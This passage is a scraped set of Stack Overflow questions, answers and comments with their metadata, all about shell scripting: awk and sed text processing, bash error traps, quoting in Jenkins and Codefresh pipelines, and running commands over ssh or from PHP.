has text: Tangential note (nothing to do with the exit status of your shell): You have: `exe = execvp(args[0], args); if (exe == -1)` —— There is no point in testing or capturing the return value from `execvp()`. If the call succeeds, it does not return; if it returns, it failed. Simply report the error and exit.
type: QuestionComment
comment on: http://stackoverflow.com/q/76772789
type: Comment
score: 0

http://stackoverflow.com/comment/135510121
comment on: http://stackoverflow.com/a/76860070
has text: Hi @kamilCuk - First option actually worked for me ... yesterday I missed one quote in the script. I'm accepting this as an answer. thanks !!!
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/76878154
has comment: http://stackoverflow.com/comment/135529259
answers question: http://stackoverflow.com/q/76878032
has comment: http://stackoverflow.com/comment/135537841
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76878032
upvote count: 3
has body: Your problem is that java -version outputs to STDERR, and awk looks on STDIN. Try this: APP_JAVA_VER=$(/the/directory/to/java/bin/./java -version 2&gt;&amp;1 | awk -F'java version' '{print $2}' | xargs)
has comment: http://stackoverflow.com/comment/135529038
has comment: http://stackoverflow.com/comment/135528995
has comment: http://stackoverflow.com/comment/135528950
type: Answer
downvote count: 1
score: 2
has comment: http://stackoverflow.com/comment/135528979
has comment: http://stackoverflow.com/comment/135529047

http://stackoverflow.com/comment/135368596
type: QuestionComment
type: Comment
has text: This sounds a little complex for bash. You need something to associate a name with an array, such as a tuple or a class, or a map/dict or multidimensional array, and I don't think bash supports any of those. You can really twist the parameter expansion syntax (`${...}`) to emulate them, but that is undecipherable torture. Awk might be powerful enough, but if not Python, Perl, and many other languages definitely would work.
comment on: http://stackoverflow.com/q/76785108
score: 0

http://stackoverflow.com/comment/135306965
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76749128
has text: How is that even relevant what does that mean in my mind, point is job gets created for this pipeline that is running in the background while my shell changes the working directory to home/someusername/.config...
score: 0

http://stackoverflow.com/a/76771280
has comment: http://stackoverflow.com/comment/135344916
has comment: http://stackoverflow.com/comment/135345089
answers question: http://stackoverflow.com/q/76771254
has comment: http://stackoverflow.com/comment/135345273
has body: dir If the scripts is already there: our.sh: 289 -> please share this line of your script - it's probably some syntax logic issue. (correlated with the system communicate -> expecting "then")) If not, then change location to the script and try again. if [ ]; then echo "condition fuliflled" else echo "condition not fullfilled" fi
has comment: http://stackoverflow.com/comment/135344874
has comment: http://stackoverflow.com/comment/135345174
score: 0
has comment: http://stackoverflow.com/comment/135345291
has comment: http://stackoverflow.com/comment/135345338
type: Answer

http://stackoverflow.com/comment/135304187
type: AnswerComment
score: 1
has text: "No issues detected!" in shellcheck.net
type: Comment
comment on: http://stackoverflow.com/a/76747486

http://stackoverflow.com/a/76860070
downvote count: 0
has comment: http://stackoverflow.com/comment/135510121
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76859636
has body: The most simple is to add single quotes to shell side and come back to the problem when you have ' in the password or other variables: sh "./myscript.sh $name $mnumber $pnumber $unumber '$np' '$cp'" The most reliable is to pass everything with env variables and then shell can quote it properly. environment { name = name number = number pnumber = pnumber unumber = unumber cp = readFile "file.txt" np = readFile "file2.txt" } script { sh './myscript.sh "$name" "$mnumber" "$pnumber" "$unumber" "$np" "$cp"' } Or you can serialize ex. to json and read it in a shellscript (or in python because it can import json). You might want to research the groovy string interpolation rules and shell quoting rules and shell expansions. Groovy interpolates the string, which is then evaluated by shell quoting. It is a nightmare. https://gist.github.com/Faheetah/e11bd0315c34ed32e681616e41279ef4 Then your script should be fixed too - it is missing quoting. Post it on shellcheck and implement suggestions. Note that your files could contain a trailing newline. Shell command substitution $(...) removes trailing newlines. You might want to remove them in groovy or in bash.
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135498157
accepted answer of: http://stackoverflow.com/q/76859636

http://stackoverflow.com/comment/135307128
has text: (One-process-per-pipeline-component is a design decision made to simplify the shell; any shell can choose a more complicated implementation for pipelines if it is willing to do the state-tracking work. `fish` seems to identify built-in commands and attempt apply their effect to the current shell rather than simply forking-and-forgetting.)
comment on: http://stackoverflow.com/q/76749128
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76773082
downvote count: 0
score: 1
type: Answer
has body: A pure awk solution: awk '{ a[$0]++ } END { for (i in a) print "\"" a[i] "\"," i; }' temp_data.txt prints "2","Smith","192-11-0292","human resources" "1","Lucius","992-11-0292","human resources" "1","Brian","192-11-0292","operations" "1","John","001-01-0001","engineering" provided that I fixed the different trailing spaces in the data copied from the question. (The order is unspecified.) This solution uses the whole input line as a key for an associative array and increments the value to count the number of identic lines. At the end, the array keys (= input lines) and values (= counters) are prointed in a loop in the specified format. With GNU awk you can get sorted output by setting PROCINFO["sorted_in"]. For example awk '{ a[$0]++ } END { PROCINFO["sorted_in"]="@ind_str_asc"; for (i in a) print "\"" a[i] "\"," i; }' temp_data.txt results in sorting by the values as strings in ascending order. "1","Brian","192-11-0292","operations" "1","John","001-01-0001","engineering" "1","Lucius","992-11-0292","human resources" "2","Smith","192-11-0292","human resources" See https://www.gnu.org/software/gawk/manual/html_node/Controlling-Scanning.html Or another sed post-processing sort temp_data.txt|uniq -c|sed 's/^\s*\([0-9]*\)\s*/"\1",/' replaces at the beginning of the line any number of spaces followed by any number of digits (captured as group 1) followed by any number of spaces with the captured digits surrounded by quotes and comma.
upvote count: 1
answers question: http://stackoverflow.com/q/76770292

http://stackoverflow.com/comment/135423790
type: Comment
comment on: http://stackoverflow.com/q/76817121
has text: Wouldn't it be simpler to describe this transformation by _replace John by Conor_?
score: 0
type: QuestionComment

http://stackoverflow.com/q/76722146
has answer: http://stackoverflow.com/a/76727635
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135261585
has title: Laravel artisan Migrate:Fresh not working if used in system context
has body: I'm trying to create a command that runs the migrate:fresh command in a different folder in order to reset a mock application while at the same time running the migrate:fresh in the current folder. It is set up like so: $command = sprintf('(cd %s &amp;&amp; php artisan migrate:fresh)', $path); system($command); Here the path is an absolute path. Running this command gives output: Dropped all tables successfully. Migration table created successfully. Migrating: 2014_10_12_000000_create_users_table Migrated: 2014_10_12_000000_create_users_table (16.60ms) However, when verifying in the database of the application it is supposed to be migrating, all the data is still there and nothing has been freshly setup. So, it seems as if the data is not being properly migrated even though Laravel is claiming it is. At first I presumed it was because of the call using system. So I have used exec, shell_exec and the Symfony Process. Additionally, because I thought it may have been a permissions issue, I have tried to run the command with sudo. This did not help. Laravel version is 8.8 $command = sprintf('(cd %s &amp;&amp; php artisan migrate:fresh)', $path); exec($command); shell_exec($command); $process = Process::fromShellCommandline($command); $process-&gt;run(); Each seemed to be 'working' with output being given similar as above. However, when verifying if the data was gone, it was still there. My expectation is that after having made a subshell and seeing the output, the process had actually properly run. But this seems not to be the case.
has comment: http://stackoverflow.com/comment/135265723
has comment: http://stackoverflow.com/comment/135269980
tagged with: laravel-artisan
has comment: http://stackoverflow.com/comment/135269985
answer count: 1
tagged with: php
tagged with: command
tagged with: laravel
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/comment/135410559
score: 0
comment on: http://stackoverflow.com/a/76806828
type: Comment
type: AnswerComment
has text: Would this be doable in ksh?

http://stackoverflow.com/comment/135424317
score: 0
has text: @thiono: I thought they are part of ERE. Will try to fix this.
type: Comment
comment on: http://stackoverflow.com/a/76817420
type: AnswerComment

http://stackoverflow.com/q/76857017
score: -1
upvote count: 0
tagged with: linux
tagged with: bash
tagged with: powershell
has comment: http://stackoverflow.com/comment/135497613
has title: Shell Script to open VS Code and then the script runs in VS Code Terminal
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/76888960
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76888960
has body: I have multiple repositories. It's a hassle to manually run them every time. I would like to create a shell script in Linux (Ubuntu 22.04.3 LTS) to automate the process of running my fullstack app. Is it possible to create such a script? # In Linux Terminal cd backend code . # After opening the VS Code, script should open integrated terminal # And in VS Code terminal, it should run these commands. source virtual-env/bin/activate python3 manage.py runserver # This script runs again in Linux Terminal cd .. cd frontend code . # This script runs in VS Code Terminal ng serve --open Optional: How can I make an executable file that, when clicked, runs this script instead of having to copy and paste it into the terminal?
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135494218
downvote count: 1
has comment: http://stackoverflow.com/comment/135495040
tagged with: terminal
has comment: http://stackoverflow.com/comment/135495103

http://stackoverflow.com/a/76762847
type: Answer
has comment: http://stackoverflow.com/comment/135331249
has body: UsePythonVersion doesn't have input script # Use Python version v0 # Use the specified version of Python from the tool cache, optionally adding it to the PATH. - task: UsePythonVersion@0 inputs: versionSpec: '3.x' # string. Required. Version spec. Default: 3.x. #disableDownloadFromRegistry: false # boolean. Disable downloading releases from the GitHub registry. Default: false. #allowUnstable: false # boolean. Optional. Use when disableDownloadFromRegistry = false. Allow downloading unstable releases. Default: false. #githubToken: # string. Optional. Use when disableDownloadFromRegistry = false. GitHub token for GitHub Actions python registry. #addToPath: true # boolean. Add to PATH. Default: true. # Advanced architecture: 'x64' # 'x86' | 'x64'. Required. Architecture. Default: x64. For this you should use PythonScript # Python script v0 # Run a Python file or inline script. - task: PythonScript@0 inputs: scriptSource: 'filePath' # 'filePath' | 'inline'. Required. Script source. Default: filePath. scriptPath: # string. Required when scriptSource = filePath. Script path. #script: # string. Required when scriptSource = inline. Script. #arguments: # string. Arguments. # Advanced #pythonInterpreter: # string. Python interpreter. #workingDirectory: # string. Working directory. #failOnStderr: false # boolean. Fail on standard error. Default: false. You can try something like this # test-template.yml parameters: - name: jobName type: string jobs: - job: ${{ parameters.jobName }} steps: - task: UsePythonVersion@0 displayName: ${{ parameters.jobName }} inputs: versionSpec: some_python_version - ${{ if eq(parameters.jobName, 'Pytest1') }}: - task: PythonScript@0 inputs: scriptSource: 'inline' script: pytest -v tests -k "pretest_case1" - ${{ elseif eq(parameters.jobName, 'Pytest2') }}: - task: PythonScript@0 inputs: scriptSource: 'inline' script: pytest -v tests -k "postTest_case2" - ${{ else }}: - task: PythonScript@0 inputs: scriptSource: 'inline' script: | echo "Invalid jobN…
has comment: http://stackoverflow.com/comment/135330228
has comment: http://stackoverflow.com/comment/135339470
has comment: http://stackoverflow.com/comment/135340931
has comment: http://stackoverflow.com/comment/135331112
score: 0
answers question: http://stackoverflow.com/q/76762779
has comment: http://stackoverflow.com/comment/135339962

http://stackoverflow.com/a/76787175
has comment: http://stackoverflow.com/comment/135371969
has comment: http://stackoverflow.com/comment/135371938
type: AcceptedAnswer
has body: handle_exit is called with $? = 0 on both conditions Because that's the trap code you set. trap "handle_error $?" ERR It uses double quotes so the string is evaluated at the time you set the ERR trap with the exit code of the previous command (successfully setting the exit trap in your case) so the ERR trap code is handle_error 0. You should use a tool like https://www.shellcheck.net/ wish can recognize such errors. Is there a better way to get the error message without piping to /tmp/error.txt What do you dislike with the current solution? I would suggest to use mktemp instead of a hardcoded file but apart from that I kinda like it. Also instead of error_message="$(< "$log")" echo "$(caller): ${BASH_COMMAND}: ${error_message}" you can simply echo -n "$(caller): ${BASH_COMMAND}: " cat "$log" I can send an email from handle_error for the failure case but what about success? Why not just send success at the end of the script. Or send both, success and error, in the exit trap. Also what happens if my email sending code generates an error inside handle_error? As far as I remember error trap is disabled while executing the error trap but I haven't found the source yet. Also you can always do stuff like command || true or { commands which might fail } || true or simply do set +e. To clarify how you should be able to pass exit codes around the traps here is a simplified example: #!/bin/bash trap 'handle_exit $?' EXIT trap 'handle_err $?' ERR handle_exit() { printf 'handle_exit: $? = %s $1 = %s\n' $? $1 exit $1 } handle_err() { printf 'handle_err: $? = %s $1 = %s\n' $? $1 exit $(($1 + 1)) } set -e false It would print handle_err: $? = 1 $1 = 1 handle_exit: $? = 2 $1 = 2 and the overall exit status is also 2.
answers question: http://stackoverflow.com/q/76787024
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76787024
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/135372013

http://stackoverflow.com/a/76848639
type: Answer
answers question: http://stackoverflow.com/q/76848082
score: 0
has body: Same code works with multilines in Codefresh as below: commands: - LIB_FOLDERS="lib1 lib2" - > for LIB_FOLDER in $LIB_FOLDERS; do echo "FolderName- $LIB_FOLDER"; done

http://stackoverflow.com/q/76781400
has answer: http://stackoverflow.com/a/76786870
has comment: http://stackoverflow.com/comment/135361929
score: 0
type: Question
tagged with: grep
has comment: http://stackoverflow.com/comment/135371098
has comment: http://stackoverflow.com/comment/135368671
has comment: http://stackoverflow.com/comment/135361952
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/135363901
has title: How to find files containing keywords from a list (search 2 million files for 60K keywords)?
has body: I have 2 million text files in a folder (actually subfolders, but lets simplify for explanation). I have 60K URLs in a CSV file. I would like to find all text files that contain one of the URLs found in the CSV file. I tried the following step by step, but got an error: # Get all the URLs in column 2 from data.csv and put in a variable keywords=$(cut -d ',' -f 2 data.csv | tr '\n' '|') # Search them with grep and find find ./ -type f -exec grep -E -l "$keywords" {} \; # Error as follows: zsh: argument list too long: find Do you know a clever way to achieve this in this scale? Many thanks! UPDATE Improved version according to the suggestion (but it is very slow): find ./ -type f -exec grep -Flf data.txt '{}' + with this data.txt http://www.wikidata.org/entity/Q1002064 http://www.wikidata.org/entity/Q101437 http://www.wikidata.org/entity/Q1020106 ...
tagged with: unix
has comment: http://stackoverflow.com/comment/135374846
has comment: http://stackoverflow.com/comment/135372300
tagged with: shell
tagged with: search

http://stackoverflow.com/comment/135347139
score: 2
type: QuestionComment
type: Comment
has text: This would also be a good time to learn how to use a debugger. https://ericlippert.com/2014/03/05/how-to-debug-small-programs/
comment on: http://stackoverflow.com/q/76772789

http://stackoverflow.com/a/76844233
has body: Your kube_reload.py script writes its logs to its current working directory: with open (f'{arg}.log', 'w') as log: ... When you're running kube_reload.py interactively, you're running it from this "deekly" directory, so "deekly" is the process's working directory and the logs are written there: [developer@radio1 deekly]$ ./kube_reload.py rap rock ... [developer@radio1 deekly]$ ls -la ... -rw-rw-r-- 1 developer developer 8303 Aug 5 16:38 rap.log -rw-rw-r-- 1 developer developer 8345 Aug 5 16:38 rock.log When this check_radio invokes kube_reload.py through ssh, the kube_reload.py process has this "developer" user's home directory as its working directory, not the "deekly" directory: sp.Popen(f'ssh developer@radio1 python3 ~/deekly/kube_reload.py {stream}', shell=True)... kube_reload.py will presumably write its log files to this "developer" user's home directory, not the "deekly" subdirectory. If you want the logs to be written to this "deekly" directory, you should do one of three things: Modify kube_reload.py to put the logs where you want them, instead of its current working directory. Modify kube_reload.py to change its working directory the desired directory before opening the logs. Modify check_radio to invoke kube_reload.py on the remote host with the correct working directory. I'm not a python programmer so I can't give you the exact python syntax. But a command such as the following should do it: ssh developer@radio1 'cd deekly && python3 ./kube_reload.py args...' You will have to do whatever is necessary in python to escape those single quotes, so that they're present in the command actually being executed.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135473167
accepted answer of: http://stackoverflow.com/q/76841948
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/76841948
type: Answer

http://stackoverflow.com/q/76804463
type: UnansweredQuestion
answer count: 1
favorite count: 0
score: -5
tagged with: loops
tagged with: bash
has comment: http://stackoverflow.com/comment/135401512
upvote count: 0
tagged with: unix
has body: I have a requirement wherein I want my shell script to read a text file having some URLs in it. I want it to hit those with the help of curl one by one. The website can return say either "success" or a "failure". If in case in first attempt the URL showed a failure then script should iterate again and trying hitting same URL until it shows a success and thereafter proceed with second URL. sample.txt abc.com xyz.com I thought of using a until loop in while loop but not sure if it will work. Can someone pls help me out. As said I thought of using until loop in a while loop but not sure if it will work
has answer: http://stackoverflow.com/a/76804508
type: Question
tagged with: shell
downvote count: 5
has title: Iterating over a loop till condition is met

http://stackoverflow.com/comment/135467409
has text: we can remove the first column its is anyway not important and use the "name".. I was writing with the mind set that I will just bring the entire fill together and later using cut i'll choose the columns i need.
comment on: http://stackoverflow.com/q/76841295
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135374496
type: QuestionComment
type: Comment
has text: `for i in {1..10}; do file1=P${i}_1.fq.gz; file2=P${i}_2.fq.gz; ...; done`
score: 2
comment on: http://stackoverflow.com/q/76788674

http://stackoverflow.com/a/76788889
type: Answer
answers question: http://stackoverflow.com/q/76788674
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135374843
has body: Loop over the _1 files and do a replacement to get the _2 file: for f1 in P*_1.gz; do f2=${f1/_1/_2} echo "$f1 --> $f2" done The ordering will be P10, P1, P2, ... If you want them in "numeric" order, you could do: printf '%s\n' P*_1.gz \ | sort -V \ | while read -r f1; do f2=${f1/_1/_2} echo "$f1 --> $f2" done

http://stackoverflow.com/q/76836431
tagged with: cicd
type: Question
has body: I'm trying to silent the echo command so that it doesn't display me the output on Jenkins console. I'm defining value of abc variable just at the beginning of pipeline. Following is the script: steps{ script{ xyz = sh(script: "echo ${abc} | base64 --decode", returnStdout: true).trim() } } How can I silent or hide the value of abc appearing in the console?
has answer: http://stackoverflow.com/a/76852488
downvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135458151
tagged with: jenkins-pipeline
tagged with: jenkins-groovy
has comment: http://stackoverflow.com/comment/135458480
upvote count: 2
tagged with: shell
score: 1
answer count: 1
linked to: http://stackoverflow.com/q/47523909
favorite count: 0
has title: How to silent the echo command in Jenkins pipeline when executing inside shell
has comment: http://stackoverflow.com/comment/135458123

http://stackoverflow.com/comment/135448325
has text: (and if `$1` is a wildcard and the command is run in a directory where filenames aren't under the operator's control, `eval $cmd` is outright a major security risk)
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76831000
type: QuestionComment

http://stackoverflow.com/comment/135408320
comment on: http://stackoverflow.com/a/76807576
has text: Maybe instead of something common-enough, like `\r`, use `|||||` ("five bars") as the placeholder? Otherwise, I really like that regex: two sets of anything but a comma, with a trailing comma, then everything up to more sets of the previous.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/a/76842156
upvote count: 1
downvote count: 1
type: Answer
has body: Given this example: cat file City,Sunset,Anna City,Sunrise,Bob City,Midday,Ellen City,Sunset,Anna City,Sunset,Ben City,Sunset,Ben City,Sunrise,Ben Here is a Ruby to do that: ruby -F, -lane 'BEGIN{h=Hash.new { |hash, key| hash[key] = Set.new() }} h[$F[0..1].join(",")]<<$F[2] END{puts h.map{|k,v| "#{k},\"#{v.join(",")}\""}}' file Prints: City,Sunset,"Anna,Ben" City,Sunrise,"Bob,Ben" City,Midday,"Ellen"
answers question: http://stackoverflow.com/q/76840695
score: 0

http://stackoverflow.com/comment/135520143
has text: My only critique of this solution is that it presumes that MemTotal and MemFree is always row 1 and 2 respectively. It might be safer to use pattern matching in case the presumption is false on some systems. I would do something like this: `awk '/MemTotal|MemFree/ {sub("kB", "", $2); values[$1] = $2} END {print values["MemTotal:"] - values["MemFree:"]}' /proc/meminfo`
comment on: http://stackoverflow.com/a/76872927
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76842957
answers question: http://stackoverflow.com/q/76841295
has body: awk -F, ' FILENAME != file { fidx+=1; file=FILENAME } FNR == 1{ for(i=1; i<=NF;i++) $i=$i fidx"," header=header $0; next } !($1","1 in a){ ids[$1] a[$1","1]=a[$1","2]=a[$1","3]="NA,NA,NA" } { a[$1","fidx]=$0 } END{ gsub(/ |,$/,"",header) print header for (id in ids){ out="" for(i=1; i<=3; i++){ out=out sprintf("%s,",a[id","i]) } sub(/,$/,"",out) print out } } ' input_file[1-3] id1,name1,value1,id2,name2,value2,id3,name3,value3 1,a,20,1,a,27,1,a,77 2,b,34,2,b,55,2,b,95 3,c,5,NA,NA,NA,NA,NA,NA NA,NA,NA,NA,NA,NA,6,y,109 NA,NA,NA,7,d,15,NA,NA,NA NA,NA,NA,9,z,100,NA,NA,NA NA,NA,NA,NA,NA,NA,11,d,83
score: 0
type: Answer

http://stackoverflow.com/q/76771421
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135362534
accepted answer: http://stackoverflow.com/a/76771486
duplicate of: http://stackoverflow.com/q/6697753
has comment: http://stackoverflow.com/comment/135348783
has comment: http://stackoverflow.com/comment/135348659
linked to: http://stackoverflow.com/q/6697753
duplicate of: http://stackoverflow.com/q/22125658
has comment: http://stackoverflow.com/comment/135349137
has comment: http://stackoverflow.com/comment/135362586
score: 0
type: Question
has title: how to save string containing a shell script in a shell variable
has comment: http://stackoverflow.com/comment/135344470
has comment: http://stackoverflow.com/comment/135349811
tagged with: shell
has body: I have a shell like (a short example just to make it simple) #!/bin/sh cat $1 I want to save as a file by doing something like echo -e "#!/bin/sh" > test.sh echo -e "cat $1" >> test.sh the line contaning "#!/bin/sh" tries to interpret the line instead of writing it into a file and basically does some stange thing by getting older commands and print them to stdout It is possible to achieve something? PS: I tried something like "v=(cat << <some_file>); echo $v > test.sh" which works but again I am not able to replace the <some_file> using a string.
has answer: http://stackoverflow.com/a/76771486
has comment: http://stackoverflow.com/comment/135344579
answer count: 1
duplicate of: http://stackoverflow.com/q/32730856
has comment: http://stackoverflow.com/comment/135362610
has comment: http://stackoverflow.com/comment/135362558
tagged with: linux
has comment: http://stackoverflow.com/comment/135354984
has comment: http://stackoverflow.com/comment/135349856
tagged with: bash
has comment: http://stackoverflow.com/comment/135344542
has comment: http://stackoverflow.com/comment/135344780
has comment: http://stackoverflow.com/comment/135347827

http://stackoverflow.com/q/76776995
has comment: http://stackoverflow.com/comment/135354509
has title: How to use SSH to access several machines?
has comment: http://stackoverflow.com/comment/135354519
tagged with: linux
downvote count: 4
tagged with: bash
has comment: http://stackoverflow.com/comment/135354506
answer count: 1
favorite count: 0
score: -4
tagged with: ssh
type: Question
upvote count: 0
tagged with: shell
has answer: http://stackoverflow.com/a/76778851
type: UnansweredQuestion
has body: Now I can use the following script to access one single machine. ssh machine01 cat test.sh But now I have more than 30 machines that need to be accessed. All of their names' format is machine01, machine02, ..., machine30. How could I using for statement to achieve it? Something like: for num in [from 01 to 30] do ssh es-data2023+num cat /data/restart.sh done

http://stackoverflow.com/a/76785967
answers question: http://stackoverflow.com/q/76785108
has body: If your bash is recent enough: for a in Array1 Array2; do declare -n arr="$a" grep -oFf <(printf '%s\n' "${arr[@]}") file && printf '(in %s)\n' "$a" done > results Explanation: declare -n arr="$a" declares a nameref, a kind of alias. If executed when the value of a is Array1, arr becomes a synonym of Array1. printf '%s\n' "${arr[@]}" prints each entry in array arr on a separate line. <(command) is a process substitution, the command is run and its output is seen as a file by the environment. In our case the content of the array is considered as a file with one entry per line. grep -oFf file1 file2 takes the patterns to search in file1 (-f file1), in our case in the process substitution, considers them as plain text strings, not regular expressions (-F), and outputs only the matched parts (-o). grep exits with status 0 if a pattern matched, else it exits with a non-zero status. As the 0 exit status is considered as boolean true, the printf '(in %s)\n' that prints the array name is executed only if grep found one of the patterns in file, thanks to the && operator (AND). Demo (output prefixed with -| ): printf '3\n9\n15\n' > file Array1=(1 2 3 4 5) Array2=(6 7 8 9 10) Array3=(a b c d e) for a in Array1 Array2 Array3; do declare -n arr="$a" grep -oFf <(printf '%s\n' "${arr[@]}") file && printf '(in %s)\n' "$a" done > results cat results -| 3 -| 1 -| 5 -| (in Array1) -| 9 -| (in Array2)
score: 2
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135331112
type: AnswerComment
comment on: http://stackoverflow.com/a/76762847
type: Comment
score: 0
has text: the above code throwing syntax error saying unclosed function 'eq' located at position 1 within expression

http://stackoverflow.com/comment/135296167
type: AnswerComment
has text: Obviously, remember to `exit()` appropriately after running the built-in.
score: 0
comment on: http://stackoverflow.com/a/76742091
type: Comment

http://stackoverflow.com/comment/135339562
type: QuestionComment
type: Comment
has text: Does [this](https://stackoverflow.com/a/30798253/) explain it well enough for you?
score: 0
comment on: http://stackoverflow.com/q/76768345

http://stackoverflow.com/a/76848441
has body: I'm not familiar with Codefresh, but your question gives me some vague ideas about how it interacts with the shell. Your original code has "${LIB_FOLDERS[@]}" in one of the commands. That's bash-specific syntax (it expands to all the elements of the LIB_FOLDERS array), but the error message indicates that Codefresh uses /bin/sh. Apparently /bin/sh is not bash on your system (it typically isn't); perhaps it's ash or dash. One solution would be to avoid bash-specific commands. Another would be to figure out how to persuade Codefresh to use bash rather than /bin/sh. Or you could probably write an external bash script that's invoked as a command. Your second attempt, after some comments was this: commands: - LIB_FOLDERS="lib1 lib2" - for LIB_FOLDER in $LIB_FOLDERS; do echo "FolderName- $LIB_FOLDER" done which gave: /bin/sh: syntax error: unexpected end of file (expecting "done") This suggests that each command preceded by - is passed to /bin/sh separately. One solution is to write the loop in a single line, for example: commands: - LIB_FOLDERS="lib1 lib2" - for LIB_FOLDER in $LIB_FOLDERS ; do echo "FolderName- $LIB_FOLDER" ; done And again, if this gets too complicated, it might be best to put the commands in an external script. Note in particular that lib1 and lib2 happen to be single words, so combining them into a string that you then split works. If there were spaces in those folder names, you'd have to do something more complicated.
score: 1
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/76848082
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76848082

http://stackoverflow.com/q/76721494
has answer: http://stackoverflow.com/a/76758453
has comment: http://stackoverflow.com/comment/135260315
tagged with: python
has comment: http://stackoverflow.com/comment/135350337
score: -1
answer count: 2
has comment: http://stackoverflow.com/comment/135322506
has comment: http://stackoverflow.com/comment/135261222
favorite count: 0
downvote count: 1
has body: I installed Kedro using pip install, and I made a new project using kedro new. I was able to run (kedro run --pipeline myPipelineName) from terminal in PyCharm or from cmd when I make cd to the project. But I need to run it from my PHP file using shell_exec(). I need kedro_cli.py, but I can't find it. I tried running C:\\xampp\\htdocs\\webmap\\python\\detect\\venv\\Scripts\\python.py C:\xampp\htdocs\webmap\python\detect\src\detect\__main__.py run --pipeline objects-prediction And it is not working. I once tried using kedro_cli, but this time I can't seem to find it in the project.
has answer: http://stackoverflow.com/a/76724087
has comment: http://stackoverflow.com/comment/135260287
has title: How can I find kedro_cli.py in my project?
tagged with: kedro
type: Question
upvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135339992
type: UnansweredQuestion

http://stackoverflow.com/q/76790926
upvote count: 0
has title: Print sequence number as 1-4 6-10 12-15
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135378305
has comment: http://stackoverflow.com/comment/135378262
answer count: 1
favorite count: 0
score: -2
has answer: http://stackoverflow.com/a/76791269
has body: I have a array in shell script as 4 5 6 7 9 10 14 15 16 18 19 20 22 23 24 25 27 28 29 30 i want to sort it and pass it to a variable output as 4-7 9-10 14-16 18-20 22-24 25 27-30 Not sure how to format it tried for looping but did not work
downvote count: 2
has comment: http://stackoverflow.com/comment/135378358

http://stackoverflow.com/q/76815168
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/37586811
has body: I'm new on shell script and I don't know how to achieve that. I need to log as an user ( a user with a .bashrc config that put me on a directory when login ) and after, run some commands as this user at this directory. my script below stops on login and run the rest only if I logout from user. su play play stop git fetch origin git reset --hard origin/master play start tail -f logs/system.out Edit 1: I record a video to help understanding https://www.loom.com/share/a0e64c6835ba485187cf073389e1bbb8?sid=2cbedcbf-eabd-4455-a74f-75bae4cd6638
has comment: http://stackoverflow.com/comment/135424031
has comment: http://stackoverflow.com/comment/135421195
has answer: http://stackoverflow.com/a/76820424
answer count: 1
has comment: http://stackoverflow.com/comment/135423979
has title: Problem with shell script sequence commands
duplicate of: http://stackoverflow.com/q/37586811
tagged with: sh
has comment: http://stackoverflow.com/comment/135422566
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/q/76818101
has answer: http://stackoverflow.com/a/76819820
accepted answer: http://stackoverflow.com/a/76819820
type: AnsweredQuestion
has title: Find zero values from a file
has answer: http://stackoverflow.com/a/76835151
has body: I need to find whether any line of my file has a value of 0 in the fifth column. The values in this column are all numbers: cat /home/vsrchops/Usrlogin_1.csv | awk '{print $5}' 8 8 1 4 2 8 23 61 473 1465 1771 2200 I tried this command: cat /home/vsrchops/Usrlogin_1.csv | awk '{print $5}' | grep 0 But it matches all lines containing 0, rather than those that are exactly 0: 2200 How do I find values that are exactly zero?
score: 0
possible better answer: http://stackoverflow.com/a/76835151
type: Question
answer count: 4
has answer: http://stackoverflow.com/a/76818148
tagged with: shell
has answer: http://stackoverflow.com/a/76837023

http://stackoverflow.com/q/76810947
tagged with: sed
score: 0
type: Question
has title: Use bash sed command for double backslash replacement
tagged with: shell
accepted answer: http://stackoverflow.com/a/76813342
tagged with: grep
tagged with: bash
has answer: http://stackoverflow.com/a/76813342
has comment: http://stackoverflow.com/comment/135413570
answer count: 1
type: AnsweredQuestion
has body: The previous pipeline artifact is loaded for checking (file name is cache_deploy_.properties). The file contains every module and the last changed timestamp. A file is updated with timestamps (hashcode) if the module has changed from the previous run (yes similar to a Git commit). After this file has been updated, it is published as a pipeline artifact for the next run. File contents example #Tue Aug 01 11:09:53 AEST 2023 D\:\\agent_work\\agent-2\\168\\s\\PRIE\\Programs\\IEW340P3.NSP=ec656d00d2e5e12ae1eb3aa9771af464\!\:\!null D\:\\agent_work\\agent-2\\168\\s\\PRMR\\Maps\\MRJ400M1.NSM=c4b10568d2dd5f88f255cf0192b0945d\!\:\!null What is happening is, next time a pipleline runs, the azure "user agent" is different, So the modules being checked in the file are a thought to be a different location echo $(System.DefaultWorkingDirectory) D\:\\agent_work\\agent-1\\217\\s\\ ----> (compared to previous run as above D\:\\agent_work\\agent-2\\168\\s\\) So when it goes to check this file, the recorded information will no longer match (as different "user agent" in the file). And the pipeline will try to create new entries for EVERY module. I cannot control the output to the file... otherwise I would remove the user agent (propriatry JAR from a vendor and Ant Script). It uses the complete file location in it's analysis to determine what to do with the changed modules. What this is trying to achieve... need to rename ALL the lines in the file with 